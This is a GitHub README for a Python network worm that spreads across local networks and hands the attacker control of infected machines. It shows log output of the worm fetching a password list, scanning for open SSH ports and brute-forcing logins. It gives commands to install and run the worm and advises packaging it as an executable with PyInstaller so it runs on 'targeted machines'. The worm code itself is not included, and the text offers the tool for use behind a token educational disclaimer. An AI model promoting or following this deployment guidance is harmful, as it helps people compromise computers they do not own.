

GitHub - pylyf/NetWorm: Python network worm that spreads on the local network and gives the attacker control of these machines.

By pylyf

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Python network worm that spreads on the local network and gives the attacker control of these machines.

This code is not finished and works more like a "worm template" for you to get inspiration at the moment.

You can bruteforce ssh servers, spread with USBs, etc..

Screenshots

```
2018-07-27 11:24:55 Pylyf __main__ [3052] Downloading passwords...
2018-07-27 11:24:55 Pylyf __main__ [3052] Passwords downloaded!
2018-07-27 11:24:55 Pylyf __main__ [3052] Scanning machines on the same network with port 22 open.
2018-07-27 11:25:15 Pylyf __main__ [3052] Hosts: ['192.168.1.1', '192.168.1.219', '192.168.1.50']
2018-07-27 11:25:15 Pylyf __main__ [3052] Connecting to: 192.168.1.1
2018-07-27 11:25:15 Pylyf __main__ [3052] Wrong Password or Username
False
2018-07-27 11:25:20 Pylyf __main__ [3052] Connecting to: 192.168.1.1
2018-07-27 11:25:20 Pylyf __main__ [3052] Wrong Password or Username
False
2018-07-27 11:25:25 Pylyf __main__ [3052] Connecting to: 192.168.1.1
2018-07-27 11:25:26 Pylyf __main__ [3052] Wrong Password or Username
False
2018-07-27 11:25:31 Pylyf __main__ [3052] Connecting to: 192.168.1.1
2018-07-27 11:25:31 Pylyf __main__ [3052] Wrong Password or Username
```

Bruteforcing local machines with port 22 open.

Downloading necessary libraries

```
pip install -r requirements.txt
```

Executing

Windows & Linux:

```
python worm.py
```

Compilation (.exe)

Targeted machines won't probably have python and the required libraries installed. To run this code on other machines, you need to convert it into an executable.

I recommend the [Pyinstaller library](#).

To use it, simply write these commands in your terminal:

```
pip install pyinstaller  
  
pyinstaller worm.py
```

Meta

<https://github.com/pylyf/NetWorm>

Distributed under the MIT license.

Contributing

1. Fork it (<https://github.com/pylyf/NetWorm/fork>)
2. Create your feature branch (`git checkout -b feature/fooBar`)
3. Commit your changes (`git commit -am 'Add some fooBar'`)
4. Push to the branch (`git push origin feature/fooBar`)
5. Create a new Pull Request

Legal Advice

This repository and every script included in it is for educational and testing purposes only. The owner nor any contributor is not responsible for your actions.

Source: <https://github.com/pylyf/NetWorm>